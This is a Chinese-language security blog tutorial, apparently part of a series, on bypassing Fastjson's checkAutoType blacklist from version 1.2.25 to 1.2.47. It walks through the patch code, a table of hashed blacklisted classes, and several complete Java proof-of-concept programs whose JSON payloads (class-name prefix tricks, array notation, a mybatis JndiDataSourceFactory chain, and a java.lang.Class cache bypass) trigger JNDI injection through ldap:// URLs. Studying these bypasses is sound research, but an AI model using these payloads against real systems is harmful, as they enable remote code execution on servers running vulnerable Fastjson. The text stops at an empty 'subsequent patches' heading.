0x01 写在前面

我们上篇文章分析了 Fastjson 1.2.24 版本的漏洞,这篇文章主要讲一讲 1.2.25 之后版本的绕过手段

在讲这个之前,我们先看一看 Fastjson 的 1.2.25 版本是如何修复 1.2.24 版本的漏洞的

0x02 Fastjson 1.2.25 漏洞修复

checkAutoType

修补方案就是将 DefaultJSONParser.parseObject() 函数中的 TypeUtils.loadClass 替换为 checkAutoType() 函数

1.2.24 版本:

img

1.2.25 版本:

img

看下 checkAutoType() 函数,具体的可看注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');

// autoTypeSupport默认为False
// 当autoTypeSupport开启时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils._loadClass_(typeName, defaultClassLoader);
}
}

for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

// 从Map缓存中获取类,注意这是后面版本的漏洞点
Class<?> clazz = TypeUtils._getClassFromMapping_(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

// 当autoTypeSupport未开启时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils._loadClass_(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}

if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils._loadClass_(typeName, defaultClassLoader);
}

if (clazz != null) {

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

return clazz;
}

简单地说,checkAutoType() 函数就是使用黑白名单的方式对反序列化的类型继续过滤,acceptList 为白名单(默认为空,可手动添加),denyList 为黑名单(默认不为空)

默认情况下,autoTypeSupportFalse,即先进行黑名单过滤,遍历 denyList,如果引入的库以 denyList 中某个 deny 开头,就会抛出异常,中断运行

denyList 黑名单中列出了常见的反序列化漏洞利用链 Gadgets:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

这里可以看到黑名单中包含了”com.sun.”,这就把我们前面的几个利用链都给过滤了,成功防御了

运行能看到报错信息,说 autoType 不支持该类

img

调试分析看到,就是在 checkAutoType() 函数中未开启 autoTypeSupport 即默认设置的场景下被黑名单过滤了从而导致抛出异常程序终止的:

img

autoTypeSupport

autoTypeSupport 是 checkAutoType() 函数出现后 ParserConfig.java 中新增的一个配置选项,在 checkAutoType() 函数的某些代码逻辑起到开关的作用。

默认情况下 autoTypeSupport 为 False,将其设置为 True 有两种方法:

  • JVM 启动参数:-Dfastjson.parser.autoTypeSupport=true
  • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局 ParserConfig 则用另外调用 setAutoTypeSupport(true);

AutoType 白名单设置方法:

  1. JVM 启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.b
  2. 代码中设置:ParserConfig.getGlobalInstance().addAccept("com.xx.a");
  3. 通过 fastjson.properties 文件配置。在 1.2.25/1.2.26 版本支持通过类路径的 fastjson.properties 文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.

补丁小结

  • 在 1.2.24 之后的版本中,使用了 checkAutoType()函数,通过黑白名单的方式来防御 Fastjson 反序列化漏洞,因此后面发现的 Fastjson 反序列化漏洞都是针对黑名单的绕过来实现攻击利用的
  • 网上一些文章讲的都是针对 1.2.41、1.2.42、1.2.43、1.2.45 这些特定版本的补丁绕过,其实实际上并不只是针对该特定版本,而是针对从 1.2.25 开始的一系列版本

0x03 寻找可用利用链

通过对黑名单的研究,我们可以找到具体版本有哪些利用链可以利用

从 1.2.42 版本开始,Fastjson 把原本明文形式的黑名单改成了哈希过的黑名单,目的就是为了防止安全研究者对其进行研究,提高漏洞利用门槛,但是有人已在 Github 上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist

目前已知的列表

version
hash
hex-hash
name
1.2.42
-8720046426850100497
0x86fc2bf9beaf7aefL
org.apache.commons.collections4.comparators
1.2.42
-8109300701639721088
0x8f75f9fa0df03f80L
org.python.core
1.2.42
-7966123100503199569
0x9172a53f157930afL
org.apache.tomcat
1.2.42
-7766605818834748097
0x9437792831df7d3fL
org.apache.xalan
1.2.42
-6835437086156813536
0xa123a62f93178b20L
javax.xml
1.2.42
-4837536971810737970
0xbcdd9dc12766f0ceL
org.springframework.
1.2.42
-4082057040235125754
0xc7599ebfe3e72406L
org.apache.commons.beanutils
1.2.42
-2364987994247679115
0xdf2ddff310cdb375L
org.apache.commons.collections.Transformer
1.2.42
-1872417015366588117
0xe603d6a51fad692bL
org.codehaus.groovy.runtime
1.2.42
-254670111376247151
0xfc773ae20c827691L
java.lang.Thread
1.2.42
-190281065685395680
0xfd5bfc610056d720L
javax.net.
1.2.42
313864100207897507
0x45b11bc78a3aba3L
com.mchange
1.2.42
1203232727967308606
0x10b2bdca849d9b3eL
org.apache.wicket.util
1.2.42
1502845958873959152
0x14db2e6fead04af0L
java.util.jar.
1.2.42
3547627781654598988
0x313bb4abd8d4554cL
org.mozilla.javascript
1.2.42
3730752432285826863
0x33c64b921f523f2fL
java.rmi
1.2.42
3794316665763266033
0x34a81ee78429fdf1L
java.util.prefs.
1.2.42
4147696707147271408
0x398f942e01920cf0L
com.sun.
1.2.42
5347909877633654828
0x4a3797b30328202cL
java.util.logging.
1.2.42
5450448828334921485
0x4ba3e254e758d70dL
org.apache.bcel
1.2.42
5751393439502795295
0x4fd10ddc6d13821fL
java.net.Socket
1.2.42
5944107969236155580
0x527db6b46ce3bcbcL
org.apache.commons.fileupload
1.2.42
6742705432718011780
0x5d92e6ddde40ed84L
org.jboss
1.2.42
7179336928365889465
0x63a220e60a17c7b9L
org.hibernate
1.2.42
7442624256860549330
0x6749835432e0f0d2L
org.apache.commons.collections.functors
1.2.42
8838294710098435315
0x7aa7ee3627a19cf3L
org.apache.myfaces.context.servlet
1.2.43
-2262244760619952081
0xe09ae4604842582fL
java.net.URL
1.2.46
-8165637398350707645
0x8eadd40cb2a94443L
junit.
1.2.46
-8083514888460375884
0x8fd1960988bce8b4L
org.apache.ibatis.datasource
1.2.46
-7921218830998286408
0x92122d710e364fb8L
org.osjava.sj.
1.2.46
-7768608037458185275
0x94305c26580f73c5L
org.apache.log4j.
1.2.46
-6179589609550493385
0xaa3daffdb10c4937L
org.logicalcobwebs.
1.2.46
-5194641081268104286
0xb7e8ed757f5d13a2L
org.apache.logging.
1.2.46
-3935185854875733362
0xc963695082fd728eL
org.apache.commons.dbcp
1.2.46
-2753427844400776271
0xd9c9dbf6bbd27bb1L
com.ibatis.sqlmap.engine.datasource
1.2.46
-1589194880214235129
0xe9f20bad25f60807L
org.jdom.
1.2.46
1073634739308289776
0xee6511b66fd5ef0L
org.slf4j.
1.2.46
5688200883751798389
0x4ef08c90ff16c675L
javassist.
1.2.46
7017492163108594270
0x616323f12c2ce25eL
oracle.net
1.2.46
8389032537095247355
0x746bd4a53ec195fbL
org.jaxen.
1.2.48
1459860845934817624
0x144277b467723158L
java.net.InetAddress
1.2.48
8409640769019589119
0x74b50bb9260e31ffL
java.lang.Class
1.2.49
4904007817188630457
0x440e89208f445fb9L
com.alibaba.fastjson.annotation
1.2.59
5100336081510080343
0x46c808a4b5841f57L
org.apache.cxf.jaxrs.provider.
1.2.59
6456855723474196908
0x599b5c1213a099acL
ch.qos.logback.
1.2.59
8537233257283452655
0x767a586a5107feefL
net.sf.ehcache.transaction.manager.
1.2.60
3688179072722109200
0x332f0b5369a18310L
com.zaxxer.hikari.
1.2.61
-4401390804044377335
0xc2eb1e621f439309L
flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor
1.2.61
-1650485814983027158
0xe9184be55b1d962aL
org.apache.openjpa.ee.
1.2.61
-1251419154176620831
0xeea210e8da2ec6e1L
oracle.jdbc.rowset.OracleJDBCRowSet
1.2.61
-9822483067882491
0xffdd1a80f1ed3405L
com.mysql.cj.jdbc.admin.
1.2.61
99147092142056280
0x1603dc147a3e358L
oracle.jdbc.connector.OracleManagedConnectionFactory
1.2.61
3114862868117605599
0x2b3a37467a344cdfL
org.apache.ibatis.parsing.
1.2.61
4814658433570175913
0x42d11a560fc9fba9L
org.apache.axis2.jaxws.spi.handler.
1.2.61
6511035576063254270
0x5a5bd85c072e5efeL
jodd.db.connection.
1.2.61
8925522461579647174
0x7bddd363ad3998c6L
org.apache.commons.configuration.JNDIConfiguration
1.2.62
-9164606388214699518
0x80d0c70bcc2fea02L
org.apache.ibatis.executor.
1.2.62
-8649961213709896794
0x87f52a1b07ea33a6L
net.sf.cglib.
1.2.62
-6316154655839304624
0xa85882ce1044c450L
oracle.net.
1.2.62
-5764804792063216819
0xafff4c95b99a334dL
com.mysql.cj.jdbc.MysqlDataSource
1.2.62
-4608341446948126581
0xc00be1debaf2808bL
jdk.internal.
1.2.62
-4438775680185074100
0xc2664d0958ecfe4cL
aj.org.objectweb.asm.
1.2.62
-3319207949486691020
0xd1efcdf4b3316d34L
oracle.jdbc.
1.2.62
-2192804397019347313
0xe1919804d5bf468fL
org.apache.commons.collections.comparators.
1.2.62
-2095516571388852610
0xe2eb3ac7e56c467eL
net.sf.ehcache.hibernate.
1.2.62
4750336058574309
0x10e067cd55c5e5L
com.mysql.cj.log.
1.2.62
218512992947536312
0x3085068cb7201b8L
org.h2.jdbcx.
1.2.62
823641066473609950
0xb6e292fa5955adeL
org.apache.commons.logging.
1.2.62
1534439610567445754
0x154b6cb22d294cfaL
org.apache.ibatis.reflection.
1.2.62
1818089308493370394
0x193b2697eaaed41aL
org.h2.server.
1.2.62
2164696723069287854
0x1e0a8c3358ff3daeL
org.apache.ibatis.datasource.
1.2.62
2653453629929770569
0x24d2f6048fef4e49L
org.objectweb.asm.
1.2.62
2836431254737891113
0x275d0732b877af29L
flex.messaging.util.concurrent.
1.2.62
3089451460101527857
0x2adfefbbfe29d931L
org.apache.ibatis.javassist.
1.2.62
3256258368248066264
0x2d308dbbc851b0d8L
java.lang.UNIXProcess
1.2.62
3718352661124136681
0x339a3e0b6beebee9L
org.apache.ibatis.ognl.
1.2.62
4046190361520671643
0x3826f4b2380c8b9bL
com.mysql.cj.jdbc.MysqlConnectionPoolDataSource
1.2.62
4841947709850912914
0x43320dc9d2ae0892L
org.codehaus.jackson.
1.2.62
6280357960959217660
0x5728504a6d454ffcL
org.apache.ibatis.scripting.
1.2.62
6534946468240507089
0x5ab0cb3071ab40d1L
org.apache.commons.proxy.
1.2.62
6734240326434096246
0x5d74d3e5b9370476L
com.mysql.cj.jdbc.MysqlXADataSource
1.2.62
7123326897294507060
0x62db241274397c34L
org.apache.commons.collections.functors.
1.2.62
8488266005336625107
0x75cc60f5871d0fd3L
org.apache.commons.configuration
1.2.66
-2439930098895578154
0xde23a0809a8b9bd6L
javax.script.
1.2.66
-582813228520337988
0xf7e96e74dfa58dbcL
javax.sound.
1.2.66
-26639035867733124
0xffa15bf021f1e37cL
javax.print.
1.2.66
386461436234701831
0x55cfca0f2281c07L
javax.activation.
1.2.66
1153291637701043748
0x100150a253996624L
javax.tools.
1.2.66
1698504441317515818L
0x17924cca5227622aL
javax.management.
1.2.66
7375862386996623731L
0x665c53c311193973L
org.apache.xbean.
1.2.66
7658177784286215602L
0x6a47501ebb2afdb2L
org.eclipse.jetty.
1.2.66
8055461369741094911L
0x6fcabf6fa54cafffL
javax.naming.
1.2.67
-7775351613326101303L
0x941866e73beff4c9L
org.apache.shiro.realm.
1.2.67
-6025144546313590215L
0xac6262f52c98aa39L
org.apache.http.conn.
1.2.67
-5939269048541779808L
0xad937a449831e8a0L
org.quartz.
1.2.67
-5885964883385605994L
0xae50da1fad60a096L
com.taobao.eagleeye.wrapper
1.2.67
-3975378478825053783L
0xc8d49e5601e661a9L
org.apache.http.impl.
1.2.67
-2378990704010641148L
0xdefc208f237d4104L
com.ibatis.
1.2.67
-905177026366752536L
0xf3702a4a5490b8e8L
org.apache.catalina.
1.2.67
2660670623866180977L
0x24ec99d5e7dc5571L
org.apache.http.auth.
1.2.67
2731823439467737506L
0x25e962f1c28f71a2L
br.com.anteros.
1.2.67
3637939656440441093L
0x327c8ed7c8706905L
com.caucho.
1.2.67
4254584350247334433L
0x3b0b51ecbf6db221L
org.apache.http.cookie.
1.2.67
5274044858141538265L
0x49312bdafb0077d9L
org.javasimon.
1.2.67
5474268165959054640L
0x4bf881e49d37f530L
org.apache.cocoon.
1.2.67
5596129856135573697L
0x4da972745feb30c1L
org.apache.activemq.jms.pool.
1.2.67
6854854816081053523L
0x5f215622fb630753L
org.mortbay.jetty.
1.2.68
-3077205613010077203L
0xd54b91cc77b239edL
org.apache.shiro.jndi.
1.2.68
-2825378362173150292L
0xd8ca3d595e982bacL
org.apache.ignite.cache.jta.
1.2.68
2078113382421334967L
0x1cd6f11c6a358bb7L
javax.swing.J
1.2.68
6007332606592876737L
0x535e552d6f9700c1L
org.aoju.bus.proxy.provider.
1.2.68
9140390920032557669L
0x7ed9311d28bf1a65L
java.awt.p
1.2.68
9140416208800006522L
0x7ed9481d28bf417aL
java.awt.i
1.2.69
-8024746738719829346L
0x90a25f5baa21529eL
java.io.Serializable
1.2.69
-5811778396720452501L
0xaf586a571e302c6bL
java.io.Closeable
1.2.69
-3053747177772160511L
0xd59ee91f0b09ea01L
oracle.jms.AQ
1.2.69
-2114196234051346931L
0xe2a8ddba03e69e0dL
java.util.Collection
1.2.69
-2027296626235911549L
0xe3dd9875a2dc5283L
java.lang.Iterable
1.2.69
-2939497380989775398L
0xd734ceb4c3e9d1daL
java.lang.Object
1.2.69
-1368967840069965882L
0xed007300a7b227c6L
java.lang.AutoCloseable
1.2.69
2980334044947851925L
0x295c4605fd1eaa95L
java.lang.Readable
1.2.69
3247277300971823414L
0x2d10a5801b9d6136L
java.lang.Cloneable
1.2.69
5183404141909004468L
0x47ef269aadc650b4L
java.lang.Runnable
1.2.69
7222019943667248779L
0x6439c4dff712ae8bL
java.util.EventListener
1.2.70
-5076846148177416215L
0xb98b6b5396932fe9L
org.apache.commons.collections4.Transformer
1.2.70
-4703320437989596122L
0xbeba72fb1ccba426L
org.apache.commons.collections4.functors
1.2.70
-4314457471973557243L
0xc41ff7c9c87c7c05L
org.jdom2.transform.
1.2.70
-2533039401923731906L
0xdcd8d615a6449e3eL
org.apache.hadoop.shaded.com.zaxxer.hikari.
1.2.70
156405680656087946L
0x22baa234c5bfb8aL
com.p6spy.engine.
1.2.70
1214780596910349029L
0x10dbc48446e0dae5L
org.apache.activemq.pool.
1.2.70
3085473968517218653L
0x2ad1ce3a112f015dL
org.apache.aries.transaction.
1.2.70
3129395579983849527L
0x2b6dd8b3229d6837L
org.apache.activemq.ActiveMQConnectionFactory
1.2.70
4241163808635564644L
0x3adba40367f73264L
org.apache.activemq.spring.
1.2.70
7240293012336844478L
0x647ab0224e149ebeL
org.apache.activemq.ActiveMQXAConnectionFactory
1.2.70
7347653049056829645L
0x65f81b84c1d920cdL
org.apache.commons.jelly.
1.2.70
7617522210483516279L
0x69b6e0175084b377L
org.apache.axis2.transport.jms.
1.2.71
-4537258998789938600L
0xc1086afae32e6258L
java.io.FileReader
1.2.71
-4150995715611818742L
0xc664b363baca050aL
java.io.ObjectInputStream
1.2.71
-2995060141064716555L
0xd66f68ab92e7fef5L
java.io.FileInputStream
1.2.71
-965955008570215305L
0xf2983d099d29b477L
java.io.ObjectOutputStream
1.2.71
-219577392946377768L
0xfcf3e78644b98bd8L
java.io.DataOutputStream
1.2.71
2622551729063269307L
x24652ce717e713bbL
java.io.PrintWriter
1.2.71
2930861374593775110L
0x28ac82e44e933606L
java.io.Buffered
1.2.71
4000049462512838776L
0x378307cb0111e878L
java.io.InputStreamReader
1.2.71
4193204392725694463L
0x3a31412dbb05c7ffL
java.io.OutputStreamWriter
1.2.71
5545425291794704408L
0x4cf54eec05e3e818L
java.io.FileWriter
1.2.71
6584624952928234050L
0x5b6149820275ea42L
java.io.FileOutputStream
1.2.71
7045245923763966215L
0x61c5bdd721385107L
java.io.DataInputStream
1.2.83
-8754006975464705441L
0x868385095a22725fL
org.apache.commons.io.
1.2.83
-8382625455832334425L
0x8baaee8f9bf77fa7L
org.mvel2.
1.2.83
-6088208984980396913L
0xab82562f53e6e48fL
kotlin.reflect.
1.2.83
-4733542790109620528L
0xbe4f13e96a6796d0L
com.googlecode.aviator.
1.2.83
-1363634950764737555L
0xed13653cb45c4bedL
org.aspectj.
1.2.83
-803541446955902575L
0xf4d93f4fb3e3d991L
org.dom4j.
1.2.83
860052378298585747L
0xbef8514d0b79293L
org.apache.commons.cli.
1.2.83
1268707909007641340L
0x119b5b1f10210afcL
com.google.common.eventbus.
1.2.83
3058452313624178956L
0x2a71ce2cc40a710cL
org.thymeleaf.
1.2.83
3740226159580918099L
0x33e7f3e02571b153L
org.junit.
1.2.83
3977090344859527316L
0x37317698dcfce894L
org.mockito.asm.
1.2.83
4319304524795015394L
0x3bf14094a524f0e2L
com.google.common.io.
1.2.83
5120543992130540564L
0x470fd3a18bb39414L
org.mockito.runners.
1.2.83
5916409771425455946L
0x521b4f573376df4aL
org.mockito.cglib.
1.2.83
6090377589998869205L
0x54855e265fe1dad5L
com.google.common.reflect.
1.2.83
7164889056054194741L
0x636ecca2a131b235L
org.mockito.stubbing.
1.2.83
8711531061028787095L
0x78e5935826671397L
org.apache.commons.codec.
1.2.83
8735538376409180149L
0x793addded7a967f5L
ognl.
1.2.83
8861402923078831179L
0x7afa070241b8cc4bL
com.google.common.util.concurrent.
1.2.83
9140416208800006522L
0x7ed9481d28bf417aL
java.awt.i
1.2.83
9144212112462101475L
0x7ee6c477da20bbe3L
com.google.common.net.

目前未知的列表

version
hash
hex-hash
name
1.2.42
33238344207745342
0x761619136cc13eL

1.2.67
-831789045734283466L
0xf474e44518f26736L

1.2.71
3452379460455804429L
0x2fe950d3ea52ae0dL

1.2.78
-8614556368991373401L
0x8872f29fd0b0b7a7L

1.2.78
-5472097725414717105L
0xb40f341c746ec94fL

1.2.78
-3750763034362895579L
0xcbf29ce484222325L

1.2.78
-1800035667138631116L
0xe704fd19052b2a34L

1.2.78
-831789045734283466L
0xf474e44518f26736L

1.2.78
33238344207745342L
0x761619136cc13eL

1.2.78
3452379460455804429L
0x2fe950d3ea52ae0dL

1.2.78
4215053018660518963L
0x3a7ee0635eb2bc33L

1.2.83
-8614556368991373401L
0x8872f29fd0b0b7a7L

1.2.83
-3750763034362895579L
0xcbf29ce484222325L

1.2.83
-1800035667138631116L
0xe704fd19052b2a34L

1.2.83
4215053018660518963L
0x3a7ee0635eb2bc33L

0x04 1.2.25-1.2.41 补丁绕过

EXP

本地的 Fastjson 版本是 1.2.41,我们可以先试一试之前用的 EXP,情况会怎么样:

img

可以看到 autoType is not support. com.sun.rowset.JdbcRowSetImpl,该类在黑名单里面被 ban 了

payload 用的是简单绕过,既然 sun 包里面的这个 JdbcRowSetImpl 类被 ban 了,尝试在 com.sun.rowset.JdbcRowSetImpl 前面加一个 L,结尾加上 ; 绕过,然后开启 AutoTypeSupport

EXP 如下:

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class JdbcRowSetImplLdapExp {
public static void main(String[] args) {
ParserConfig._getGlobalInstance_().setAutoTypeSupport(true);
String payload ="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:1099/Calc\",\"autoCommit\":\"true\" }";
JSON._parse_(payload);
}
}

img

调试分析

我们注意到,PoC 和之前的不同之处在于在”com.sun.rowset.JdbcRowSetImpl”类名的前面加了”L”、后面加了”;”就绕过了黑名单过滤

下面我们调试分析看看为啥会绕过,首先要知道一点,Lcom.sun.rowset.JdbcRowSetImpl; 这个类其实是不存在的。

断点下在 ParseConfigcheckAutoType() 方法:

img

开始调试,先一路进到这个地方,就是我们前文所说的黑名单了

img

继续往里走,它会判断我们 @type 类是否为黑名单那里面的类。这里会循环很久,可以直接跳出来,继续往下走会走到一个特别重要与核心的方法 loadClass(),它隶属的类是 TypeUTtils

img

意思是,如果我们这个类的起始是 L,结尾是 ;,就把这两个家伙给干掉,变成空白,所以这里返回过来的就是 com.sun.rowset.JdbcRowSetImpl 了,就可以进行我们的恶意利用,这个代码写出来也是不知道 hyw……

img

这样就成功绕过拿到了我们的目标类

img

0x05 1.2.25-1.2.42 补丁绕过

EXP

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class JdbcRowSetImplLdapExp {
public static void main(String[] args) {
ParserConfig._getGlobalInstance_().setAutoTypeSupport(true);
String payload ="{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://127.0.0.1:1099/Calc\",\"autoCommit\":\"true\" }";
JSON._parse_(payload);
}
}

调试分析

这里代码运行的逻辑是,如果还是按照我们的 EXP 写的话,Fastjson 会先行提取 L;,也就是逻辑不准确,第一次调用 loadClass(),其内部又调用 loadclass,此时的 newClassNameLcom.sun.rowset.JdbcRowSetImpl;,然后再次调用一次含 cache 参数的 loadClass()

img

所以我们这里可以直接写两个来绕过

img

0x06 1.2.25-1.2.43 补丁绕过

EXP

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class JdbcRowSetImplLdapExp {
public static void main(String[] args) {
ParserConfig._getGlobalInstance_().setAutoTypeSupport(true);
String payload ="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/Calc\",\"autoCommit\":\"true\" }";
JSON._parse_(payload);
}
}

运行发生了报错:

1
Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1099/Calc","autoCommit":"true" }

报错信息如上,显示期待在 42 列的位置接受个 [ 符号,而 42 列正好是第一个逗号”,”前一个位置:

1
{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,\"dataSourceName\":\"ldap://127.0.0.1:1099/Calc\",\"autoCommit\":\"true\" }

还是发生了报错:

1
Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.42

显示期待在 42 列的位置接受个 { 符号,也是一样的,最终 EXP:

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class JdbcRowSetImplLdapExp {
public static void main(String[] args) {
ParserConfig._getGlobalInstance_().setAutoTypeSupport(true);
String payload ="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://127.0.0.1:1099/Calc\",\"autoCommit\":\"true\" }";
JSON._parse_(payload);
}
}

img

调试分析

checkAutoType() 函数中,修改的是直接对类名以”LL”开头的直接报错:

img

但是以 [ 开头的类名能成功绕过上述校验以及黑名单过滤。

继续往下调试,在 TypeUtils.loadClass() 函数中,除了前面看到的判断是否以 L 开头、以 ; 结尾的 if 判断语句外,在其前面还有一个判断是否以 [ 开头的 if 判断语句,是的话就提取其中的类名,并调用 Array.newInstance().getClass() 来获取并返回类:

img

解析完返回的类名是 [com.sun.rowset.JdbcRowSetImpl,通过 checkAutoType() 函数检测之后,到后面就是读该类进行反序列化了:

img

0x07 1.2.25-1.2.45 补丁绕过

前提条件

需要目标服务端存在版本 3.0.0-3.5.0 的 mybatis 的 jar 包

1
2
3
4
5
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.4.6</version>
</dependency>

关键 PoC:org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

主要就是黑名单绕过,这个类我们在哈希黑名单中 1.2.46 的版本中可以看到:

version
hash
hex-hash
name
1.2.46
-8083514888460375884
0x8fd1960988bce8b4L
`org.apache.ibatis.datasource.jndi.JndiDataSourceFactory`

EXP:

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class JdbcRowSetImplLdapExp {
public static void main(String[] args) {
ParserConfig._getGlobalInstance_().setAutoTypeSupport(true);
String payload ="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://localhost:1099/Calc\"}}";
JSON._parse_(payload);
}
}

调试分析

调试 checkAutoType() 函数,看到对前一个补丁绕过方法的 [ 字符进行了过滤,只要类名以 [ 开头就直接抛出异常:

img

后面由于”org.apache.ibatis.datasource.jndi.JndiDataSourceFactory”不在黑名单中,因此能成功绕过 checkAutoType() 函数的检测

继续往下调试分析 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 这条利用链的原理

由于 payload 中设置了 properties 属性值,且 JndiDataSourceFactory.setProperties() 方法满足之前说的 Fastjson 会自动调用的 setter 方法的条件,因此可被利用来进行 Fastjson 反序列化漏洞的利用

直接在该 setter 方法打断点,可以看到会调用到这来,这里就是熟悉的 JNDI 注入漏洞了,即 InitialContext.lookup(),其中参数由我们输入的 properties 属性中的 data_source 值获取的

img

0x08 1.2.25-1.2.47 补丁绕过

EXP

本次 Fastjson 反序列化漏洞也是基于 checkAutoType() 函数绕过的,并且无需开启 AutoTypeSupport,大大提高了成功利用的概率。

绕过的大体思路是通过 java.lang.Class,将 JdbcRowSetImpl 类加载到 Map 中缓存,从而绕过 AutoType 的检测。因此将 payload 分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkAutoType() 就会抛出异常终止程序。

Demo 如下,无需开启 AutoTypeSupport,本地 Fastjson 用的是 1.2.47 版本:

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplPoc {
public static void main(String[] argv){
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1099/Calc\",\"autoCommit\":true}}";
JSON._parse_(payload);
}
}

调试分析

实际上还是利用了 com.sun.rowset.JdbcRowSetImpl 这条利用链来攻击利用的,因此除了 JDK 版本外几乎没有限制

但是如果目标服务端开启了 AutoTypeSupport 呢?经测试发现:

  • 1.2.25-1.2.32 版本:未开启 AutoTypeSupport 时能成功利用,开启 AutoTypeSupport 反而不能成功触发;
  • 1.2.33-1.2.47 版本:无论是否开启 AutoTypeSupport,都能成功利用;

在调用 DefaultJSONParser.parserObject() 函数时,其会对 JSON 数据进行循环遍历扫描解析

在第一次扫描解析中,进行 checkAutoType() 函数,由于未开启 AutoTypeSupport,因此不会进入黑白名单校验的逻辑;由于 @type 执行 java.lang.Class 类,该类在接下来的 findClass() 函数中直接被找到,并在后面的 if 判断 clazz 不为空后直接返回:

img

往下调试,调用到 MiscCodec.deserialze()

img

往下调试,调用到 MiscCodec.deserialze(),其中判断键是否为”val”,是的话再提取 val 键对应的值赋给 objVal 变量:

img

objVal 在后面会赋值给 strVal 变量:

img

接着判断 clazz 是否为 Class 类,是的话调用 TypeUtils.loadClass() 加载 strVal 变量值指向的类:

img

TypeUtils.loadClass() 函数中,成功加载 com.sun.rowset.JdbcRowSetImpl 类后,就会将其缓存在 Map 中:

img

在扫描第二部分的 JSON 数据时,由于前面第一部分 JSON 数据中的 val 键值 com.sun.rowset.JdbcRowSetImpl 已经缓存到 Map 中了,所以当此时调用 TypeUtils.getClassFromMapping() 时能够成功从 Map 中获取到缓存的类,进而在下面的判断 clazz 是否为空的 if 语句中直接 return 返回了,从而成功绕过 checkAutoType() 检测:

img

后续补丁

